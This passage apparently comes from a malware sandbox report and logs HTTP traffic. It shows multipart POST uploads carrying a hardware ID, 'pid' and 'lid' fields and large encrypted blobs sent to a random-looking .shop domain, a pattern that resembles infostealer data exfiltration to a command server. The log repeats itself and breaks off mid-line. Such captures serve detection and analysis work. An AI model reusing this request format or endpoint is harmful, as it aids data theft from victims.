2024-05-24 11:43:42 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:42 UTC	15331	OUT	Data Raw: b6 5b 0b 56 45 1f 81 58 ca 4a e0 2f 61 4e e9 01 9c 71 17 60 2d 9f 02 1e 4c 17 98 a1 c3 62 cb ba 66 d4 56 eb 42 ac 87 ee 61 3a 80 95 1d 32 87 70 34 23 55 68 f2 ff b7 93 d2 0b 0b 12 57 65 e1 01 00 ef 23 34 ad 28 01 85 3e a0 05 b5 a8 cc 68 db 10 d9 04 1e 92 12 2a 33 5d 16 bf 35 fa 11 7a f8 85 bb 84 e4 f6 00 7b 1c fa 31 44 9d 5e 2c f4 6c 05 ac 12 34 49 d3 03 f8 5e 28 12 d2 83 a3 b0 44 8f 91 6a 5d 5c ae 4f 75 aa 76 c1 c9 1f f8 fe 08 39 74 5b 3c 85 35 df 37 7e ef 34 2f ed 23 29 ac 41 3c a7 db 03 fd 42 de 66 b4 4c 0a 4c b5 50 2a bb 1e d0 1e dc 61 6e 66 17 f2 39 3e b9 a3 e1 3d d3 11 a4 67 55 a3 ec 50 55 8f 7e a5 66 14 01 23 53 84 88 2e 53 8b b0 00 a5 cc 36 4c ee 65 b2 35 44 76 0a 01 e1 fc e1 c6 a4 5f e2 2e de f8 b3 a0 89 43 a7 2f 5d 2a e4 97 88 9d f7 6c ff 35 ec Data Ascii: [VEXJ/aNq`-LbfVBa:2p4#UhWe#4(>h3]5z{1D^,l4I^(Dj]\Ouv9t[<57~4/#)A<BfLLPanf9>=gUPU~f#S.S6Le5Dv_.C/]*l5
2024-05-24 11:43:42 UTC	15331	OUT	Data Raw: 75 54 15 78 9b 58 65 f5 c5 32 2b 84 be 09 cd 8a 4f ac b8 fb 41 93 7f 76 05 6a 00 01 b6 49 bd db 27 7c 3a 43 9d c3 42 82 53 19 91 17 07 93 16 5c 2c e0 e0 13 5a 04 df 84 79 6b 95 ca 84 6d cc 50 92 59 96 45 9c 01 9a 88 e2 3c 2e fa f6 b7 c2 6a 8d a4 87 0a d3 78 5c a9 fe e6 24 aa be b4 6c 53 7f 2e 29 8f e2 2d b8 53 bd 28 a1 ca 70 2b 91 4d 6f 35 27 7a e3 f2 4a b1 d2 5d f7 c3 3a 4a b3 97 f8 f4 8c 53 39 48 64 85 c3 48 72 4f de e5 ef 94 6f 6f 51 44 e0 9c ff dc 8f 1f 61 53 48 1e 9f 39 fb e1 cf 69 02 93 72 9d 8b 49 28 62 cb b3 ea de f5 66 59 e4 3d 75 5c 27 5a 84 7e 5f 6b 3c 25 86 aa 3d e2 d0 d6 ac 52 1f ba 8b 3d 92 ee ba 4a 1a 6d 40 8d 5d 00 d6 f1 54 c2 0c 61 59 e6 d7 7b e2 49 57 a7 19 a5 61 e5 27 76 d4 1c 38 69 28 9e 75 cf 97 a6 81 aa 31 89 09 b8 e4 b7 49 18 bb 50 Data Ascii: uTxXe2+OAvjI'\|:CBS\,ZykmPYE<.jx\$lS.)-S(p+Mo5'zJ]:JS9HdHrOooQDaSH9irI(bfY=u\'Z~_k<%=R=Jm@]TaY{IWa'v8i(u1IP
2024-05-24 11:43:42 UTC	15331	OUT	Data Raw: f0 96 69 e6 1c 93 10 15 87 20 a7 ae b9 bd a2 ce eb 97 ac 61 3e 28 58 ba 56 aa 83 56 c9 d0 0d 43 79 b9 33 46 dd a5 2d 6e a5 de da 28 7a e1 d3 bc 00 e7 51 9c 27 74 25 30 f9 fe f6 91 c5 e2 ae ce 25 17 84 8d 7d 74 10 3f b9 e5 8f 60 25 a4 0c a6 8a ed f8 c3 3d 3a 80 4c eb de 6a 44 e8 a4 86 29 ee 55 4d d9 56 72 97 c5 b8 dc d0 ee ad 12 8f 8b 3f 2e 0c 29 7f dd 07 12 aa 0f 38 b3 df fb 74 3a 3e e7 df 14 38 29 f6 27 63 cb fa 4d f1 6c 78 db 3f cd ef 47 42 2c 96 60 4d 32 c5 21 4f 71 54 71 85 fa 4a 76 f8 4f 0f 65 2a 74 95 19 c3 5b db 4a 7a 3a 22 7e 9a d0 d0 5e 5b 5d 64 c3 2e 3e 9a 76 38 c6 ed e0 1e 4b 39 ab e1 a3 3b 41 7f 2e 3b 1e db be c2 4f d4 40 e3 0c ef cc bf b9 91 b7 11 b4 55 2e ae 3f 8b 29 5e 0f 4b ea 28 6a bb 2e 2a d6 dc 96 56 58 9c bb b9 9e 29 f7 7a a6 c8 60 7c Data Ascii: i a>(XVVCy3F-n(zQ't%0%}t?`%=:LjD)UMVr?.)8t:>8)'cMlx?GB,`M2!OqTqJvOet[Jz:"~^[]d.>v8K9;A.;O@U.?)^K(j.VX)z`\|
2024-05-24 11:43:42 UTC	15331	OUT	Data Raw: e2 23 78 97 68 98 c3 c7 de 4e f6 e4 23 1f 94 32 40 30 5d d5 31 2e 8e 39 f2 cf 0a 2d 33 04 c2 0d ee 8b e6 6e da c6 61 35 58 67 30 39 e7 69 2f 31 5e 87 e6 73 83 45 b0 83 1b ce 9c cc 24 7e e3 5f b2 81 68 0a 69 dd ee 24 d5 f4 53 46 1a bb 45 32 ac 77 c0 cd 85 98 be 26 e0 85 15 24 9e 0a f9 cd c4 c3 8c 8e c3 39 3c 7f 47 5f 40 07 88 6e ff aa 60 97 b7 24 93 9a 38 d6 00 ec 64 fe e1 12 d7 c5 64 0d 66 26 c7 ef 70 43 de 64 dc 39 70 21 6e a1 bb de 3a f9 39 79 70 fa 4c a6 29 98 7d 60 ac 96 a2 1a 15 e1 29 d0 6b 8c e5 94 47 a0 14 69 33 03 c1 26 8c 3c 37 f7 83 d7 c2 49 6f e4 e2 76 e6 ab 09 c3 ae 4c f1 15 fe 93 38 5f fa 77 64 2b 43 4a f0 32 86 13 c0 a4 a0 32 41 e7 b4 5f 2d c6 02 d2 3f 2f 61 25 5e ac 67 47 e1 b2 74 c2 e7 25 ae 1e 7b 46 c7 88 9a 50 55 11 40 f4 4f d4 75 f6 80 Data Ascii: #xhN#2@0]1.9-3na5Xg09i/1^sE$~_hi$SFE2w&$9<G_@n`$8ddf&pCd9p!n:9ypL)}`)kGi3&<7IovL8_wd+CJ22A_-?/a%^gGt%{FPU@Ou
2024-05-24 11:43:42 UTC	15331	OUT	Data Raw: c1 a2 ff 20 62 6b fc 79 39 cc 6e d9 d2 6a ab fc 41 1a 86 72 00 03 26 f4 69 8e bf 80 a2 1b 5b b1 1a 78 75 8b 51 84 03 82 5b 36 cb a1 eb bf b9 17 82 c7 be 64 65 5e 0b 3e d2 ec dc 88 6d cd ba a8 8b dd b8 ac 9e ea 87 be c7 1d a4 32 c4 db 9a 17 35 7b e5 f4 ce 63 dd 1d bd 7f 29 87 e8 ca 0f 41 dd 38 76 2a eb 26 41 08 cc c4 12 49 da cf c2 ba ff a7 25 41 3e 52 ee 59 33 9b 6f d7 fb d5 96 72 8e 5f 5c 24 bf fd a8 c1 e4 03 07 d9 74 90 01 07 af ff 54 ed ff f8 76 c9 53 ac 4a 99 a9 63 7d ae 46 9a 90 f6 0f 49 8b 73 59 a0 ff f6 be 71 52 53 e4 87 fa 7d 2a 49 58 90 6d 2e 73 96 d7 a4 19 f9 cd 0f 89 b4 ba df 98 55 00 bc f5 c6 eb 3e ea 12 6e 28 5a 67 d6 6a 58 91 84 1f 6d 59 5e a4 34 69 23 1f 4f 60 56 c4 ae 07 e2 38 8d 14 0f 5d 11 96 71 08 4b 16 76 1d ad d5 f9 ba ba 8b 9b d2 c8 Data Ascii: bky9njAr&i[xuQ[6de^>m25{c)A8v&AI%A>RY3or_\$tTvSJc}FIsYqRS}IXm.sU>n(ZgjXmY^4i#O`V8]qKv
2024-05-24 11:43:42 UTC	15331	OUT	Data Raw: c3 a7 30 9e 03 ce a7 2a 2d db 56 63 70 bd 4f 4d df f2 54 50 a2 9d d9 bf e9 a0 c6 8f 25 38 d7 c8 00 d7 51 d8 71 84 cd 36 19 90 64 85 fc cd b1 c4 a9 09 3c c6 ba 50 d5 02 c0 a0 f9 9a 1c 74 f1 15 94 15 ba 72 2c ab 55 82 e8 81 e0 d1 04 db 52 cd 9c 63 5a 62 e1 0a d2 e7 ae ec 6d 69 f1 82 e9 39 d9 a5 f0 82 04 7c 6b 33 e3 4f 6d 42 6b 32 89 93 cb 8f 8d d0 d2 83 4c ce 71 91 84 d0 21 a7 c5 72 ae 33 ba 74 5d c4 42 af 0a ed ef 2f bf 5e a7 4c 93 e8 87 8a 05 93 f0 ca b0 2e 1e 52 df f9 eb 9c ca e2 7b 71 95 93 47 f1 fb 3f 57 60 9c 28 34 c3 76 05 4b 68 f1 d8 55 16 87 0c 57 f7 0c d2 cc 5c 98 aa c7 73 bc c9 61 d5 84 a6 3f 36 d4 cf 1f 6e ef 2a 3b 50 60 3b 08 c3 b6 65 b8 ab 4c 20 5f 5e 6a f3 62 b4 75 64 dd 25 a6 ec 0a df 43 74 0e f1 36 0c f2 1f 7d 6d a6 29 cb 16 e9 92 eb 55 db Data Ascii: 0-VcpOMTP%8Qq6d<Ptr,URcZbmi9\|k3OmBk2Lq!r3t]B/^L.R{qG?W`(4vKhUW\sa?6n;P`;eL _^jbud%Ct6}m)U
2024-05-24 11:43:42 UTC	15331	OUT	Data Raw: 6c 9b 8d 97 d7 99 f9 57 38 1e 5b ce 39 9a e2 1f 02 3b 49 3b eb 81 df d0 f6 31 34 b7 d0 2e 40 4f 82 6c 2e c2 be a3 e8 e5 3c 67 a8 98 ef 23 a0 f7 ec bc 7d 8a 58 29 7a 80 76 3d 55 52 d6 9d a6 b6 48 59 78 95 e2 c1 1a f7 87 23 04 f3 c8 37 c5 e5 6d d8 67 a2 31 d6 62 98 d6 eb 39 54 dd 91 93 51 2c 17 18 b9 2e 2e c3 11 a2 5c be cb 42 43 a3 11 80 89 40 cc dc 08 65 e5 a1 41 66 bd 24 38 c8 3a 59 5d f5 c7 ca 46 27 85 85 96 ef 02 b9 0e 1f de 5f 7d 49 60 1d 87 93 ef 6b 50 04 60 3c 5b e4 c9 09 86 dd 01 e4 6a 19 44 8f 81 12 21 e6 45 11 de c2 b8 b0 a1 4d 50 ad 3e 88 0c bb be e8 e4 bb 71 29 d1 e9 50 11 8c 2e cd 7d 89 e6 be 4a 5e 3b 95 10 c6 bc 70 b4 db 98 49 dc dd 4e 27 d9 09 d6 a0 17 3a ce a7 f1 4f f8 c0 76 b1 3e bf 4f 90 05 b0 46 a1 cb f2 84 94 3b 2a b0 2f 10 41 21 dd b8 Data Ascii: lW8[9;I;14.@Ol.<g#}X)zv=URHYx#7mg1b9TQ,..\BC@eAf$8:Y]F'_}I`kP`<[jD!EMP>q)P.}J^;pIN':Ov>OF;*/A!
2024-05-24 11:43:42 UTC	15331	OUT	Data Raw: 32 9c 6f 97 70 ef 2b 27 5f b8 ed 01 44 cc 59 ca 53 a4 79 a4 0e fd c8 7a db c1 12 48 a8 bf d0 9b a3 82 50 39 ca bd 63 75 c6 e6 09 83 7c 60 27 7d da a2 6d b5 52 15 f5 ee 21 2b 4c 60 21 42 70 49 28 6d e5 38 71 d7 ca 25 54 ba a3 c4 38 1f cf ac d4 e4 74 73 1e 1c 23 57 7e 1d c6 f2 e1 1a 9f 50 4c 69 fc c0 b7 35 ad 15 f6 42 00 b7 e0 99 bf 3b 15 fd 96 39 85 a8 63 93 98 d5 ea f9 6a fe f3 37 33 a2 dc 37 8a 4e 10 0e ac e3 53 c2 20 34 df 64 22 3f 81 fa f5 61 93 12 e2 b8 68 12 05 8b 8b a7 f3 a4 1d 08 01 0c 0c e6 e7 81 e8 65 80 c6 7a 7a c0 c6 8f 0d d0 a7 76 fd 0a fc a4 a5 ca 8c a0 5f a4 87 76 d7 1a e3 66 52 c6 69 fb 74 37 d1 b3 3e f5 4e d4 8d 2f 06 41 2d 06 53 e8 8e 10 9b fd 47 eb 74 5e 26 14 bc ee a8 35 77 86 8b 83 f4 a8 5b 3f 84 43 3e bc 1e b6 1e 96 67 f0 6c d1 fb ed Data Ascii: 2op+'_DYSyzHP9cu\|`'}mR!+L`!BpI(m8q%T8ts#W~PLi5B;9cj737NS 4d"?ahezzv_vfRit7>N/A-SGt^&5w[?C>gl
2024-05-24 11:43:42 UTC	15331	OUT	Data Raw: a9 37 86 ec bf ed 93 91 65 05 65 35 df e4 86 50 75 db 27 b1 80 f8 f7 c5 5e 38 e2 85 62 91 40 f2 de 2e 8d 2a 36 df b6 22 d8 b5 a8 88 8e e1 3c 09 e4 47 39 99 29 4e da 1b 33 93 94 68 68 0e e1 3f 06 f0 fc fb 5d 28 41 2d aa fc 82 c3 d9 c2 06 3f 75 a7 6e 4a 6c c6 fa ef c1 5b 18 e3 3f 52 e5 b9 28 5a 37 d9 be cd 99 62 e4 98 46 2c 14 29 06 7e a7 69 64 90 af 2c d1 7f 8f 24 1d 9d c8 ac 62 49 4c 71 4d ba 8e f5 76 a0 2f 73 a3 e9 38 04 d6 fc 08 be 83 7b e6 7a fc e5 79 23 18 ad a1 09 70 e3 78 17 31 9a 58 2c a6 2b d9 cb d8 51 18 f6 fd 6f 8b c7 6c 34 89 ff 88 3c a2 c8 cc 66 f8 10 46 50 7e 66 55 51 84 8f a6 41 46 46 e9 71 de 88 e8 20 15 11 7d 63 f3 bc ad 76 37 5b 26 26 6c ba 27 07 3d 2f b2 05 09 a8 8c 8d de 2b 20 14 bc b9 8d ed b4 6f 21 76 89 cb dd f2 32 e4 a2 54 3c 0b 9c Data Ascii: 7ee5Pu'^8b@.*6"<G9)N3hh?](A-?unJl[?R(Z7bF,)~id,$bILqMv/s8{zy#px1X,+Qol4<fFP~fUQAFFq }cv7[&&l'=/+ o!v2T<
2024-05-24 11:43:43 UTC	814	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lnq7nglpj5p8mgchglmuo0dk5j; expires=Tue, 17-Sep-2024 05:30:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Gj7szDbn1%2BPQ3kPVpBcY5XkR5W1ju16m%2F0AwtxnG3fnn2LfnMX%2FJ7I%2FnfBz2oVw6PW8oGtbXZ9IbWt6IybOa9WDUmtLP3zxmR7dxJEHU0thxOhalDHAmQPTxz2hfFI3P5SVTj8cpo4r6vw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d078facc38c33-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	63773	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:41 UTC	290	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 572795 Host: employhabragaomlsp.shop
2024-05-24 11:43:42 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:42 UTC	15331	OUT	Data Raw: b6 5b 0b 56 45 1f 81 58 ca 4a e0 2f 61 4e e9 01 9c 71 17 60 2d 9f 02 1e 4c 17 98 a1 c3 62 cb ba 66 d4 56 eb 42 ac 87 ee 61 3a 80 95 1d 32 87 70 34 23 55 68 f2 ff b7 93 d2 0b 0b 12 57 65 e1 01 00 ef 23 34 ad 28 01 85 3e a0 05 b5 a8 cc 68 db 10 d9 04 1e 92 12 2a 33 5d 16 bf 35 fa 11 7a f8 85 bb 84 e4 f6 00 7b 1c fa 31 44 9d 5e 2c f4 6c 05 ac 12 34 49 d3 03 f8 5e 28 12 d2 83 a3 b0 44 8f 91 6a 5d 5c ae 4f 75 aa 76 c1 c9 1f f8 fe 08 39 74 5b 3c 85 35 df 37 7e ef 34 2f ed 23 29 ac 41 3c a7 db 03 fd 42 de 66 b4 4c 0a 4c b5 50 2a bb 1e d0 1e dc 61 6e 66 17 f2 39 3e b9 a3 e1 3d d3 11 a4 67 55 a3 ec 50 55 8f 7e a5 66 14 01 23 53 84 88 2e 53 8b b0 00 a5 cc 36 4c ee 65 b2 35 44 76 0a 01 e1 fc e1 c6 a4 5f e2 2e de f8 b3 a0 89 43 a7 2f 5d 2a e4 97 88 9d f7 6c ff 35 ec Data Ascii: [VEXJ/aNq`-LbfVBa:2p4#UhWe#4(>h3]5z{1D^,l4I^(Dj]\Ouv9t[<57~4/#)A<BfLLPanf9>=gUPU~f#S.S6Le5Dv_.C/]*l5
2024-05-24 11:43:42 UTC	15331	OUT	Data Raw: 75 54 15 78 9b 58 65 f5 c5 32 2b 84 be 09 cd 8a 4f ac b8 fb 41 93 7f 76 05 6a 00 01 b6 49 bd db 27 7c 3a 43 9d c3 42 82 53 19 91 17 07 93 16 5c 2c e0 e0 13 5a 04 df 84 79 6b 95 ca 84 6d cc 50 92 59 96 45 9c 01 9a 88 e2 3c 2e fa f6 b7 c2 6a 8d a4 87 0a d3 78 5c a9 fe e6 24 aa be b4 6c 53 7f 2e 29 8f e2 2d b8 53 bd 28 a1 ca 70 2b 91 4d 6f 35 27 7a e3 f2 4a b1 d2 5d f7 c3 3a 4a b3 97 f8 f4 8c 53 39 48 64 85 c3 48 72 4f de e5 ef 94 6f 6f 51 44 e0 9c ff dc 8f 1f 61 53 48 1e 9f 39 fb e1 cf 69 02 93 72 9d 8b 49 28 62 cb b3 ea de f5 66 59 e4 3d 75 5c 27 5a 84 7e 5f 6b 3c 25 86 aa 3d e2 d0 d6 ac 52 1f ba 8b 3d 92 ee ba 4a 1a 6d 40 8d 5d 00 d6 f1 54 c2 0c 61 59 e6 d7 7b e2 49 57 a7 19 a5 61 e5 27 76 d4 1c 38 69 28 9e 75 cf 97 a6 81 aa 31 89 09 b8 e4 b7 49 18 bb 50 Data Ascii: uTxXe2+OAvjI'\|:CBS\,ZykmPYE<.jx\$lS.)-S(p+Mo5'zJ]:JS9HdHrOooQDaSH9irI(bfY=u\'Z~_k<%=R=Jm@]TaY{IWa'v8i(u1IP
2024-05-24 11:43:42 UTC	15331	OUT	Data Raw: f0 96 69 e6 1c 93 10 15 87 20 a7 ae b9 bd a2 ce eb 97 ac 61 3e 28 58 ba 56 aa 83 56 c9 d0 0d 43 79 b9 33 46 dd a5 2d 6e a5 de da 28 7a e1 d3 bc 00 e7 51 9c 27 74 25 30 f9 fe f6 91 c5 e2 ae ce 25 17 84 8d 7d 74 10 3f b9 e5 8f 60 25 a4 0c a6 8a ed f8 c3 3d 3a 80 4c eb de 6a 44 e8 a4 86 29 ee 55 4d d9 56 72 97 c5 b8 dc d0 ee ad 12 8f 8b 3f 2e 0c 29 7f dd 07 12 aa 0f 38 b3 df fb 74 3a 3e e7 df 14 38 29 f6 27 63 cb fa 4d f1 6c 78 db 3f cd ef 47 42 2c 96 60 4d 32 c5 21 4f 71 54 71 85 fa 4a 76 f8 4f 0f 65 2a 74 95 19 c3 5b db 4a 7a 3a 22 7e 9a d0 d0 5e 5b 5d 64 c3 2e 3e 9a 76 38 c6 ed e0 1e 4b 39 ab e1 a3 3b 41 7f 2e 3b 1e db be c2 4f d4 40 e3 0c ef cc bf b9 91 b7 11 b4 55 2e ae 3f 8b 29 5e 0f 4b ea 28 6a bb 2e 2a d6 dc 96 56 58 9c bb b9 9e 29 f7 7a a6 c8 60 7c Data Ascii: i a>(XVVCy3F-n(zQ't%0%}t?`%=:LjD)UMVr?.)8t:>8)'cMlx?GB,`M2!OqTqJvOet[Jz:"~^[]d.>v8K9;A.;O@U.?)^K(j.VX)z`\|
2024-05-24 11:43:42 UTC	15331	OUT	Data Raw: e2 23 78 97 68 98 c3 c7 de 4e f6 e4 23 1f 94 32 40 30 5d d5 31 2e 8e 39 f2 cf 0a 2d 33 04 c2 0d ee 8b e6 6e da c6 61 35 58 67 30 39 e7 69 2f 31 5e 87 e6 73 83 45 b0 83 1b ce 9c cc 24 7e e3 5f b2 81 68 0a 69 dd ee 24 d5 f4 53 46 1a bb 45 32 ac 77 c0 cd 85 98 be 26 e0 85 15 24 9e 0a f9 cd c4 c3 8c 8e c3 39 3c 7f 47 5f 40 07 88 6e ff aa 60 97 b7 24 93 9a 38 d6 00 ec 64 fe e1 12 d7 c5 64 0d 66 26 c7 ef 70 43 de 64 dc 39 70 21 6e a1 bb de 3a f9 39 79 70 fa 4c a6 29 98 7d 60 ac 96 a2 1a 15 e1 29 d0 6b 8c e5 94 47 a0 14 69 33 03 c1 26 8c 3c 37 f7 83 d7 c2 49 6f e4 e2 76 e6 ab 09 c3 ae 4c f1 15 fe 93 38 5f fa 77 64 2b 43 4a f0 32 86 13 c0 a4 a0 32 41 e7 b4 5f 2d c6 02 d2 3f 2f 61 25 5e ac 67 47 e1 b2 74 c2 e7 25 ae 1e 7b 46 c7 88 9a 50 55 11 40 f4 4f d4 75 f6 80 Data Ascii: #xhN#2@0]1.9-3na5Xg09i/1^sE$~_hi$SFE2w&$9<G_@n`$8ddf&pCd9p!n:9ypL)}`)kGi3&<7IovL8_wd+CJ22A_-?/a%^gGt%{FPU@Ou
2024-05-24 11:43:42 UTC	15331	OUT	Data Raw: c1 a2 ff 20 62 6b fc 79 39 cc 6e d9 d2 6a ab fc 41 1a 86 72 00 03 26 f4 69 8e bf 80 a2 1b 5b b1 1a 78 75 8b 51 84 03 82 5b 36 cb a1 eb bf b9 17 82 c7 be 64 65 5e 0b 3e d2 ec dc 88 6d cd ba a8 8b dd b8 ac 9e ea 87 be c7 1d a4 32 c4 db 9a 17 35 7b e5 f4 ce 63 dd 1d bd 7f 29 87 e8 ca 0f 41 dd 38 76 2a eb 26 41 08 cc c4 12 49 da cf c2 ba ff a7 25 41 3e 52 ee 59 33 9b 6f d7 fb d5 96 72 8e 5f 5c 24 bf fd a8 c1 e4 03 07 d9 74 90 01 07 af ff 54 ed ff f8 76 c9 53 ac 4a 99 a9 63 7d ae 46 9a 90 f6 0f 49 8b 73 59 a0 ff f6 be 71 52 53 e4 87 fa 7d 2a 49 58 90 6d 2e 73 96 d7 a4 19 f9 cd 0f 89 b4 ba df 98 55 00 bc f5 c6 eb 3e ea 12 6e 28 5a 67 d6 6a 58 91 84 1f 6d 59 5e a4 34 69 23 1f 4f 60 56 c4 ae 07 e2 38 8d 14 0f 5d 11 96 71 08 4b 16 76 1d ad d5 f9 ba ba 8b 9b d2 c8 Data Ascii: bky9njAr&i[xuQ[6de^>m25{c)A8v&AI%A>RY3or_\$tTvSJc}FIsYqRS}IXm.sU>n(ZgjXmY^4i#O`V8]qKv
2024-05-24 11:43:42 UTC	15331	OUT	Data Raw: c3 a7 30 9e 03 ce a7 2a 2d db 56 63 70 bd 4f 4d df f2 54 50 a2 9d d9 bf e9 a0 c6 8f 25 38 d7 c8 00 d7 51 d8 71 84 cd 36 19 90 64 85 fc cd b1 c4 a9 09 3c c6 ba 50 d5 02 c0 a0 f9 9a 1c 74 f1 15 94 15 ba 72 2c ab 55 82 e8 81 e0 d1 04 db 52 cd 9c 63 5a 62 e1 0a d2 e7 ae ec 6d 69 f1 82 e9 39 d9 a5 f0 82 04 7c 6b 33 e3 4f 6d 42 6b 32 89 93 cb 8f 8d d0 d2 83 4c ce 71 91 84 d0 21 a7 c5 72 ae 33 ba 74 5d c4 42 af 0a ed ef 2f bf 5e a7 4c 93 e8 87 8a 05 93 f0 ca b0 2e 1e 52 df f9 eb 9c ca e2 7b 71 95 93 47 f1 fb 3f 57 60 9c 28 34 c3 76 05 4b 68 f1 d8 55 16 87 0c 57 f7 0c d2 cc 5c 98 aa c7 73 bc c9 61 d5 84 a6 3f 36 d4 cf 1f 6e ef 2a 3b 50 60 3b 08 c3 b6 65 b8 ab 4c 20 5f 5e 6a f3 62 b4 75 64 dd 25 a6 ec 0a df 43 74 0e f1 36 0c f2 1f 7d 6d a6 29 cb 16 e9 92 eb 55 db Data Ascii: 0-VcpOMTP%8Qq6d<Ptr,URcZbmi9\|k3OmBk2Lq!r3t]B/^L.R{qG?W`(4vKhUW\sa?6n;P`;eL _^jbud%Ct6}m)U
2024-05-24 11:43:42 UTC	15331	OUT	Data Raw: 6c 9b 8d 97 d7 99 f9 57 38 1e 5b ce 39 9a e2 1f 02 3b 49 3b eb 81 df d0 f6 31 34 b7 d0 2e 40 4f 82 6c 2e c2 be a3 e8 e5 3c 67 a8 98 ef 23 a0 f7 ec bc 7d 8a 58 29 7a 80 76 3d 55 52 d6 9d a6 b6 48 59 78 95 e2 c1 1a f7 87 23 04 f3 c8 37 c5 e5 6d d8 67 a2 31 d6 62 98 d6 eb 39 54 dd 91 93 51 2c 17 18 b9 2e 2e c3 11 a2 5c be cb 42 43 a3 11 80 89 40 cc dc 08 65 e5 a1 41 66 bd 24 38 c8 3a 59 5d f5 c7 ca 46 27 85 85 96 ef 02 b9 0e 1f de 5f 7d 49 60 1d 87 93 ef 6b 50 04 60 3c 5b e4 c9 09 86 dd 01 e4 6a 19 44 8f 81 12 21 e6 45 11 de c2 b8 b0 a1 4d 50 ad 3e 88 0c bb be e8 e4 bb 71 29 d1 e9 50 11 8c 2e cd 7d 89 e6 be 4a 5e 3b 95 10 c6 bc 70 b4 db 98 49 dc dd 4e 27 d9 09 d6 a0 17 3a ce a7 f1 4f f8 c0 76 b1 3e bf 4f 90 05 b0 46 a1 cb f2 84 94 3b 2a b0 2f 10 41 21 dd b8 Data Ascii: lW8[9;I;14.@Ol.<g#}X)zv=URHYx#7mg1b9TQ,..\BC@eAf$8:Y]F'_}I`kP`<[jD!EMP>q)P.}J^;pIN':Ov>OF;*/A!
2024-05-24 11:43:42 UTC	15331	OUT	Data Raw: 32 9c 6f 97 70 ef 2b 27 5f b8 ed 01 44 cc 59 ca 53 a4 79 a4 0e fd c8 7a db c1 12 48 a8 bf d0 9b a3 82 50 39 ca bd 63 75 c6 e6 09 83 7c 60 27 7d da a2 6d b5 52 15 f5 ee 21 2b 4c 60 21 42 70 49 28 6d e5 38 71 d7 ca 25 54 ba a3 c4 38 1f cf ac d4 e4 74 73 1e 1c 23 57 7e 1d c6 f2 e1 1a 9f 50 4c 69 fc c0 b7 35 ad 15 f6 42 00 b7 e0 99 bf 3b 15 fd 96 39 85 a8 63 93 98 d5 ea f9 6a fe f3 37 33 a2 dc 37 8a 4e 10 0e ac e3 53 c2 20 34 df 64 22 3f 81 fa f5 61 93 12 e2 b8 68 12 05 8b 8b a7 f3 a4 1d 08 01 0c 0c e6 e7 81 e8 65 80 c6 7a 7a c0 c6 8f 0d d0 a7 76 fd 0a fc a4 a5 ca 8c a0 5f a4 87 76 d7 1a e3 66 52 c6 69 fb 74 37 d1 b3 3e f5 4e d4 8d 2f 